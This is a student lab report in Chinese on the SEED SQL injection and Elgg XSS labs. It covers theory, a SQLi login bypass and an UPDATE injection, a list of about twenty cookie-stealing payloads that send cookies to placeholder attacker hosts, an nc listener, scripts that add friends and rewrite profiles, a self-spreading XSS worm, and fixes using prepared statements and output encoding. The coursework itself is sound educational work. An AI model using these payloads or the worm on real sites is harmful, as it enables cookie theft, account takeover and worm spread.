20212905 2021-2022-2 《网络攻防实践》第十次作业
20212905 2021-2022-2 《网络攻防实践》第十次作业
1.实验内容
- SEED SQL注入攻击与防御实验
- SEED XSS跨站脚本攻击实验(Elgg)
Web 应用体系结构
应用程序有两种模式:C/S、B/S。
C/S 是客户端/服务器端程序,也就是说这类程序一般独立运行。而 B/S 就是浏览器端/服务器端应用程序,这类应用程序一般借助浏览器来运行。WEB 应用程序一般是 B/S 模式。Web 应用程序首先是“应用程序”,和用标准的程序语言,如 C、C++ 等编写出来的程序没有什么本质上的不同。然而 Web 应用程序又有自己独特的地方,就是它是基于 Web 的,而不是采用传统方法运行的。换句话说,它是典型的浏览器/服务器架构的产物。
一个 Web 应用程序是由完成特定任务的各种 Web 组件(web components)构成的并通过 Web 将服务展示给外界。在实际应用中,We b应用程序是由多个 Servlet、JSP 页面、HTML 文件以及图像文件等组成。所有这些组件相互协调为用户提供一组完整的服务。
Web 应用安全威胁
- 针对浏览器和终端用户的 Web 浏览安全威胁;
- 针对传输网络的网络协议安全威胁;
- 系统层安全威胁;
- Web 服务器软件安全威胁;
- Web 应用程序安全威胁;
- Web 数据安全威胁。
Web 服务器软件作为 Web 应用的承载体,也成为攻击者对 Web 应用实施攻击的首要目标之一。
针对 Web 服务器软件包的渗透攻击仍然存在,Web 服务器平台中的安全漏洞主要分为如下几大类。
- 数据驱动的远程代码执行安全漏洞:作为一种典型的网络服务守护进程,Web 服务器软件包也面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在 Web 服务器上直接获得远程代码执行的权力,并以相当高的权限执行任意命令。
- 服务器功能扩展模块漏洞:Web 服务器软件通过一些功能扩展模块来为核心的 HTTP 引擎增加其他的功能,启动包括动态代码执行(如微软的 ASP)、站点检索(如 IIS 的索引服务)、Web 分布式写作与版本管理协议 WebDAV、SSL 加密协议等。这些扩展模块往往较 Web 服务器软件的编写质量要差许多,因此也就存在更多的安全漏洞。
- 样本文件安全漏洞:为了让更多人接受和依赖他们的技术,Web 服务器软件厂商经常在他们的软件包中包含样本文件和代码示例来演示自己平台一些新奇的用法。一旦这些样本文件存在安全漏洞,就使得攻击者可以利用这些默认包含的样本文件来对 Web 服务器实施攻击。
- 源代码泄露:源代码泄露漏洞让渗透测试人员能够查看到没有防护措施 Web 服务器上的应用程序源代码,在特定情况下,攻击者甚至可以利用这些漏洞查看到系统级的文件。
- 资源解析攻击:Web 服务器软件在处理资源请求时,需要将同一资源的不同表示方式解析为标准化名称,这一过程被称为资源解析。一些 Web 服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验证的处理,从而就可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。
攻击 Web 数据内容
Web 站点除了通过服务器软件和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临着针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄露、网站内容遭受篡改,以及不良信息内容上传。
- 安全敏感数据泄露;
- 网站篡改;
- 不良信息内容上传。
Web 应用安全防范措施
- Web 站点网络传输安全设防措施:尽量使用 HTTPS 协议来保障 Web 站点传输时的保密性、完整性与身份真实性;通过加密的连接通道来管理 Web 站点,避免使用未经加密的 telnet、FTP、HTTP 来进行 Web 后台管理,而使用 SSH、SFTP 等安全协议;对关键的 Web 服务器,设置静态绑定 MAC-IP 映射,在服务网段内进行 ARP 等各类欺骗攻击的检测与 MAC 封禁机制。
- Web 站点操作系统及服务安全设防措施:对 Web 站点的操作系统与服务器软件进行及时的补丁更新;对 Web 站点服务器的橾作系统及各种开放服务进行远程安全漏洞扫描;采用提升系统与服务安全性的一般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。
- Web 应用程序安全设防措施:应该认识到采用动态内容、支持用户输入的 Web 应用程序较静态 HTML 具有更高的安全风险;对于必须提供用户交互、采用动态页而的 Web 站点,尽量使用具有良好安全声誉及稳定技术支持力量的 Web 应用软件包;只在必要时候自主或外包开发 Web 应用程序;使用 Web 服务器软件提供的日志功能,对 Web 应用程序的所有访问请求进行日志记录与安全审计。
- Web 站点数据安全设防措施:提商网站内容维护人员的数据安全意识;对维护网站的数据安全实施日常监测和防护。
SQL 注入
代码注入是针对 Web 应用程序的上流攻击技术之一,代码注入根据攻击目标的不同又分为:
- 恶意读取、修改与操纵数据库的 SQL 注入攻击;
- 在 Web 服务器端安装、执行 Webshell 等恶意脚本的 PHP 注入或 ASP 注入攻击;
- 在 Web 服务器端恶意执行操作系统命令的 Shell 注入攻击;
- 其他多种多样的注入攻击,如 LDAP 注入、邮件命令注入、空字节注入、SSI 注入、XPath 注入、XML 注入、XQuery 注入等。
SQL 注入(SQLi)是一种注入攻击,可以执行恶意 SQL 语句。它通过将任意 SQL 代码插入数据库查询,使攻击者能够完全控制 Web 应用程序后面的数据库服务器。攻击者可以使用 SQL 注入漏洞绕过应用程序安全措施;可以绕过网页或 Web 应用程序的身份验证和授权,并检索整个 SQL 数据库的内容;还可以使用 SQL 注入来添加,修改和删除数据库中的记录。
SQL 注入漏洞可能会影响使用 SQL 数据库(如 MySQL,Oracle,SQL Server 或其他)的任何网站或 Web 应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL 注入攻击是最古老,最流行,最危险的 Web 应用程序漏洞之一。
SQL 注入攻击防范措施
- 使用类型安全(type-safe)的参数编码机制;
- 凡是来自外部的用户输入,必须进行完备检查;
- 将动态 SQL 语句替换为存储过程、预编译 SQL 或 ADO 命令对象;
- 加强 SQL 数据库服务器的配置与连接。
XSS 攻击技术原理
与代码注入类似,XSS 攻击的根源同样是 Web 应用程序对用户输入内容的安全验证与过滤不够完善,在许多流行的 Web 论坛、博客、留言本及其他允许用户交互的 Web 应用程序中,用户提交内容中可以包含 HTML、JavaScript 及其他脚本代码,而一旦 Web 应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。
而与代码注入不同的是,XSS 攻击的最终攻击目标并非 Web 服务器,Web 服务器上的应用程序在 XSS 攻击场景中发挥的角色是“帮凶”,而非“受害者”,真正的“受害者”则是访问这些 Web 服务器的其他用户。
2.实验过程
2.1 SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
2.1.1 熟悉 SQL 语句
首先登录 MySQL 数据库:
mysql -u root -pseedubuntu
使用系统创建好的 Users 数据库:
use Users;
查看该数据库下所有的表:
show tables;
可以看到该数据库存在一个名为“credential”的表。
下面使用查询语句,查看这个表的详细信息:
select * from credential;
2.1.2 对 SELECT 语句的 SQL 注入攻击
首先使用 SEED 访问已经搭建好的 Web 页面:www.SEEDLabSQLInjection.com
使用浏览器打开该网站,右键查看该页面源码,注意查看<form>
表单标签下的具体内容:
<form action="unsafe_home.php" method="get">
<div class="input-group mb-3 text-center">
<div class="input-group-prepend">
<span class="input-group-text" id="uname">USERNAME</span>
</div>
<input type="text" class="form-control" placeholder="Username" name="username" aria-label="Username" aria-describedby="uname">
</div>
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text" id="pwd">PASSWORD </span>
</div>
<input type="password" class="form-control" placeholder="Password" name="Password" aria-label="Username" aria-describedby="pwd">
</div>
<br>
<button type="submit" class="button btn-success btn-lg btn-block">Login</button>
</form>
上述代码表示用户点击提交后,表单将用户输入的信息使用get
方法提交至unsafe_home.php
页面
然后在SEED虚拟机中打开该文件,进行代码审计,进入/var/www/SQLInjection/
目录,找到unsafe_home.php
function drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber){
if($id!=""){
session_start();
$_SESSION['id'] = $id;
$_SESSION['eid'] = $eid;
$_SESSION['name'] = $name;
$_SESSION['pwd'] = $pwd;
}else{
echo "can not assign session";
}
if ($name !="Admin") {
// If the user is a normal user.
...
}
else {
// if user is admin.
...
}
}
从上述代码可以看出存在一个Admin
用户,并且对应的页面逻辑是不一样的。
下面重点观察一下 php 文件中查询语句:
// Sql query to authenticate the user
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";
其中where
参数处存在可以sql注入漏洞。输入变量$input_uname
为Admin' #
时,'
与sql语句中的单引号闭合,#
就被解释成了sql语句中的注释符,即:
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= 'Admin' #' and Password='$hashed_pwd'
去除注释后,sql语句变为
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= 'Admin'
这样sql查询的返回结果为true,就绕过了密码校验,直接进入Admin
用户页面
在输入框中输入用户名为Admin' #
,密码为空:
登录成功:
2.1.3 对 UPDATE 语句的 SQL 注入攻击
首先利用前面的漏洞,用Alice' #
登录,可以看到对应的信息:
然后点击页面上方的Edit Profile
进入更新信息页面:
右键查看源码
<form action="unsafe_edit_backend.php" method="get">
<div class="form-group row">
<label for="NickName" class="col-sm-4 col-form-label">NickName</label>
<div class="col-sm-8">
<input type="text" class="form-control" id="NickName" name="NickName" placeholder="NickName" value= >
</div>
</div>
<div class="form-group row">
<label for="Email" class="col-sm-4 col-form-label">Email</label>
<div class="col-sm-8">
<input type="text" class="form-control" id="Email" name="Email" placeholder="Email" value=>
</div>
</div>
<div class="form-group row">
<label for="Address" class="col-sm-4 col-form-label">Address</label>
<div class="col-sm-8">
<input type="text" class="form-control" id="Address" name="Address" placeholder="Address" value=>
</div>
</div>
<div class="form-group row">
<label for="PhoneNumber" class="col-sm-4 col-form-label">Phone Number</label>
<div class="col-sm-8">
<input type="text" class="form-control" id="PhoneNumber" name="PhoneNumber" placeholder="PhoneNumber" value=>
</div>
</div>
<div class="form-group row">
<label for="Password" class="col-sm-4 col-form-label">Password</label>
<div class="col-sm-8">
<input type="password" class="form-control" id="Password" name="Password" placeholder="Password">
</div>
</div>
<br>
<div class="form-group row">
<div class="col-sm-12">
<button type="submit" class="btn btn-success btn-lg btn-block">Save</button>
</div>
</div>
</form>
上述代码表示用户点击提交后,表单将用户输入的信息使用get
方法提交至unsafe_edit_backend.php
页面
在SEED虚拟机中打开unsafe_edit_backend.php
,找到 SQL 语句
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";
可以发现,输入参数处均存在sql注入漏洞
在之前的图中可以知道 Alice 的编号是 10000,变量$input_nickname
对应的就是用户输入的 NickName,此处存在注入,尝试构造', salary='12345' where EID='10000';#
拼接到sql语句中,sql语句就变为
UPDATE credential SET nickname='', salary='12345' where EID='10000';#',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;
原理同上,去除注释后sql语句为
$sql = "UPDATE credential SET nickname='', salary='12345' where EID='10000';
这条语句就实现了将 Alice 的工资更新为 12345.
在输入框中输入nickname为', salary='12345' where EID='10000';#
,然后点击提交
2.1.4 SQL 对抗
可以使用预处理语句防御sql注入攻击
首先在unsafe_home.php
页面中,对SELECT
语句进行预处理
原来的语句:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
使用绑定参数的方法,修改为
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
然后在unsafe_edit_backend.php
页面中,对UPDATE
语句进行预处理。
原来的语句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
同上修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
2.2 SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
2.2.1 发布恶意消息,显示警报窗口
在浏览器中打开http://www.xsslabelgg.com,使用 Alice 的账户进行登录,用户名为 alice,密码为 seedalice
然后进入个人信息页面http://www.xsslabelgg.com/profile/alice
,点击Edit profile
,接着在下面的Brief description
文本框输入:
<script>alert('xss');</script>
点击Save
保存,页面弹出如下的提示框:
刷新页面,再次弹出上述提示框。
这就实现了通过嵌入 JS 代码,弹出警报窗口的功能。
2.2.2 弹窗显示 cookie 信息
同上,在Brief description
中输入:
<script>alert(document.cookie);</script>
显示了当前的 cookie 信息。
2.2.3 窃取受害者的 cookies
窃取受害者的 cookies的Payloads:
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
可以使用js脚本动态地在页面添加一个<img>
标签,同时在<img>
标签的src
属性中嵌入攻击代码。
构造下面的payload
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');</script>
上面的document.write()
JavaScript 函数提供了可以对浏览器 DOM 结构进行操作的 API 接口,escape()
函数表示对对字符串进行编码。
将受害者的cookie与http://127.0.0.1:5555?c=
进行拼接,然后使受害者访问该链接
这样攻击者只需要监听该端口(5555端口),就可以收到受害者的cookie
首先在终端使用以下指令监听5555端口:
nc -lvvp 5555
将payload输入到Brief description
文本框中,然后保存文本框输入的内容,终端就可以监听到浏览器发送的cookie了
2.2.4 成为受害者的朋友
首先要搞清楚在Elgg中加好友的过程
当前登录用户为 Alice,访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby
如果需要添加 Boby 为好友,需要点击左侧的Add friend
。按f12,然后点击network选项卡,然后点击Add friend
,抓取请求信息
该请求的地址是http://www.xsslabelgg.com/action/friends/add
,参数friend
代表好友的id,参数__elgg_ts
代表时间戳,参数__elgg_token
代表token
可以构造下面的payload,用于添加其他好友
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将上面的payload放在Alice用户的资料的About me
内,选择Edit HTML
模式保存
然后登录Boby的账号,模拟受害者的操作。用户名为boby
,密码通过md5查询b78ed97677c161c1c82c142906674ad15242b2d4
得到seedboby
Boby点击Alice用户的主页后,就执行了其中的payload,将Alice添加为了好友
2.2.5 修改受害者的信息
同上,首先要抓取在Elgg中加修改信息的请求过程。在进入Edit profile
页面后,按f12,然后点击network选项卡,然后点击Save
,抓取请求信息
该请求的地址是http://www.xsslabelgg.com/action/profile/edit
,参数guid
代表好友的id,参数__elgg_ts
代表时间戳,参数__elgg_token
代表token
可以构造下面的payload,实现在Boby访问Alice的主页时修改 Boby 的个人资料
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>Hacked!!!!!~~~</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
然后模拟受害者的操作,登录 Boby,Boby的个人资料初始为
访问Alice的主页,再查看个人资料,已经被修改
2.2.6 编写XSS蠕虫
为了实现蠕虫感染,可以将xss的payload自身复制一份到受害者的个人资料内容里,当其他人访问受害者的个人资料时,也会受到xss攻击,修改自己的个人资料,便实现了在不同的用户之间感染传播
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将代码放在 Alice 的About me
文本框内保存,当Boby访问Alice的主页后就会被攻击并感染xss蠕虫。
然后模拟其他用户的操作,登录路人账号Samy,访问Boby的主页,再查看自己的资料,发现已经被修改,xss攻击成功。
2.2.6 对抗 XSS 攻击
在用户输入文本时,禁用 JavaScript 渲染的功能。
也可以使用 Elgg 提供的安全插件 HTMLawed
过滤用户输入的标签。
使用HttpOnly,最早是由微软提出,并在IE 6中实现的,至今已成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。严格来说,HttpOnly并非为了对抗XSS,HttpOnly解决的是XSS后的Cookie劫持。
常见的Web漏洞如XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。在XSS的防御上,输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、“等,如果发现存在特殊字符,者将这些特殊字符过滤或者编码。
一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。使用安全的编码函数,编码分为很多种,针对HTML代码的编码方式是HtmlEncode。HtmlEncode并非专用名词,它只是一种函数实现。它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1。
3.学习中遇到的问题及解决
在构造xss成为受害者的朋友时,xss代码无法执行
解决方法:在个人资料编辑时没有选择以html编辑,从而导致js代码无法执行,选择以html编辑即可。
4.实践总结
现在 Web 开发已经成为主流,真实业务中已经有很成熟的对抗 Web 攻击的体系框架,现在较为热门的前后端开发框架已经具备了足够的安全性。就本次实践而言,更注重攻击过程的理解,学会原理就足够了,想要真正对成熟的 Web 框架构成攻击,还是要下功夫的。